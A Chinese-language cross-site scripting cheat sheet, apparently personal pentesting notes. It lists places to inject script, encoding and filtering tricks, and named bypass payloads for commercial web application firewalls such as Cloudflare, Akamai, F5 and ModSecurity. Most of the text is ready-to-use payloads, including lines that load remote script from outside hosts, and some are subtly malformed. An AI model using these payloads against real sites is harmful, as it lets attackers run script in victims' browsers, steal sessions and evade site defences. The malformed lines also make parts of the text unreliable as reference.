XSS bypass方法
bypass利用点
- GET/POST以及header可控参数
- wifi热点/设备编号构造payload
- 电话本/短信
- 多平台验证构造的payload
- 用户注册信息、用户名处
- 直播评论位置
- 在线客户交流
- 分享到第三方平台
- 富文本编辑器
- 企业搭建的邮箱
- 站内信息/私信
- 各类搜索框
- 浏览器插件
- 发红包xss
- 记事本、word、pdf在线预览功能
- API接口
- 上传功能点
- 报销发票处
- 移动app用户反馈
- MhTML协议
- 站点的手机web端
- ATM机
- 论坛等伪协议
- 回复信息触发接受平台
- 在线添加歌词、修改本地音乐
- 图片上传、属性等可控参数
- 截图上传
- 页面读取系统时间
- 微信公众号
- 购物下单
- 百度快照
- 举报页面
- 收藏夹
-
双Url编码
把%url编码成%25,如果后台对参数有再次进行url decode 或者输出的时候url decode 就可以绕过WAF
Base64编码
waf不拦截 < > ,但是会拦截script on xxxxx, 用Base64绕过
实体编码一开始是为了避免 你的双引号中要i输入数据中包括双引号导致浏览把你的输入的引号当成上一个引号的姐妹标签而异常闭合提出的
- payload:
<a href='javascript:alert('123')'>hello</a>
<a href="javascript:alert('123')">hello</a>
- tip:标签里的伪协议是不用双引号引起来的,加上eval函数后(eval认识 \x十六进制 八进制 \u unicode编码)
<a href="javascript:eval('&#;\u0091\x65\x72\x74\x28\x22\x31\x22\x29')">hello</a>
- 页面直接显示输入内容,可以先html编码 在url编码
<svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>
- 不带HTTP的payload
<script/src=ttps://[14.rs](http://14.rs/) ></script>
<script/src=ttp://[14.rs](http://14.rs/) ></script>
<script/src=//[14.rs](http://14.rs/)></script>
- 过滤/script
- <%2fscript>
- <%252fscript>
- <%252fScRipt>
- <%252fScrIPt%20>
- <%252fsCrIpt+ipT%20>
- 利用javascript大小写绕过限制
- 过滤括号
- 当括号被过滤的话,我们可以使用throw来绕过
<a onmouseover="javascript:window.onerror=alert;throw 1>
<img src="x onerror="javascript:window.onerror=alert;throw 1">
- 利用0字节绕过
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
- 利用ascii编码绕过
- 利用其他ascii码绕过,正则表达式中的\w是无法匹配到的
<img/ /\μ src=x onerror=alert(1)//>
<img src=\x17\x17 onerror=alert(1)//>
<img/%20src=%17y%17 onerror=%C2%A0alert(1)//>
- 先拆分再组合
<script>var a=’h';var b=’://’;document.write(‘<script src=”‘+a+’ttp’+b+’[xss.tw/xxx](http://xss.tw/xxx)”></script>’);</script>
过滤括号和分号
我们可以使用花括号来进行语句隔离,将onerror整体放入花括号中,这样避免了使用分号:
WAF名称:CloudflarePayload:
<a”/onclick=(confirm)()>click
绕过技术:非空格填充- WAF名称:WordfencePayload:
<a/href=javascript:alert()>click
绕过技术:数字字符编码 - WAF名称:BarracudaPayload:
<a/href=Java%0a%0d%09script:alert()>click
绕过技术:数字字符编码 - WAF名称:AkamaiPayload:
<d3v/onauxclick=[2].some(confirm)>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆 - WAF名称:ComodoPayload:
<d3v/onauxclick=(((confirm)))“>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆 - WAF名称:F5Payload:
<d3v/onmouseleave=[2].some(confirm)>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆 - WAF名称:ModSecurityPayload:
<details/open/ontoggle=alert()>
绕过技术:黑名单中缺少标签或事件处理器 - WAF名称:dotdefenderPayload:
<details/open/ontoggle=(confirm)()//
以上可能已经无法绕过waf,这里仅提供一个思路/笔记
<a name="SngZ2"></a>
XSS payload
a标签属性的 payload
<a href=javascript:eval(atob('YWxlcnQoMSk='))>click</a
<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>click</a>
<a href="javascript:'\x3cimg src\x3dx onerror=alert(document.domain)>'">click me</a>
<a href="vbscript:alert(2)">click me</a> ------------只针对IE浏览器使用
13</script><script>alert("test")</script>
SRC属性的payload
<img src=x onerror=prompt(1);>
<img/src=aaa.jpg onerror=prompt(1);>
<img/onerror=alert(1) src=a>
<audio src=x onerror=prompt(1);>
<video src=x onerror=prompt(1);>
?img onerror=alert(1) src=a? -----------------------待实际测试
<img src=1 onMouseUp=(alert)(1)>
Iframe属性的payload
<iframe src="javascript:alert(2)">
action属性的payload
<form action="Javascript:alert(1)"><input type=submit>
formaction属性的payload
<form><button formaction=javascript:alert(1)>CLICKME
<input type="text" onchange="javascript:alert('form_action4')"> 输入内容即可
事件触发的payload
<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/ -----------待测试
<body onload=prompt(100);>
<select autofocus onfocus=alert(1)> -------------------恶性 弹窗去不掉
<textarea autofocus onfocus=alert(1)> --------------恶性 弹窗去不掉
<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)"> -----------------恶性 弹窗去不掉
<marquee onstart="confirm()">hk</marquee>
<marquee behavior="alternate" onstart=prompt()>hk</marquee>
<marquee loop="1" onfinish=prompt()>hk</marquee>
<body onpageshow=prompt()>
<style onload=prompt()>
<!----><script>alert(0);</script>
<<script>alert(1);//<</script>
<+!-<script/src+=+\//\http://14.rs\//\+></script/src>-> ----------------待实际测试
HTML自解码机制
———这段代码在执行的过程中,会将html实体编码自解码为之前的符号,因此这段代码会执行alert(1)的弹窗。
常用的xss payload
<img src=1 onerror=alert(1)>
<script>alert(1)</script>
<audio src=1 onerror=alert(1)>
\%22oNmOuSeOvEr=prompt(1)//
<im\u0067 s\u0072c=1 one\u0072ror=a\u006cert(1)>
prompt(1)
<a%0aonpointerenter+=+a=prompt,a()%0dx>v3dm0s
xss" oninvalid=a=alert;a(1) pattern="a" type="submit" a=
=号被过滤:<svg><script>alert(/1/)</script> 通杀所有浏览器
```html
top['ale'+'rt']()
a\u006cert()
alert``
top['a\u006ce'+'rt']``
%22%3E%3Cobject%20data=%22data%26colon;text/html;base64%26comma;PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg%22%3E%3C/object%3E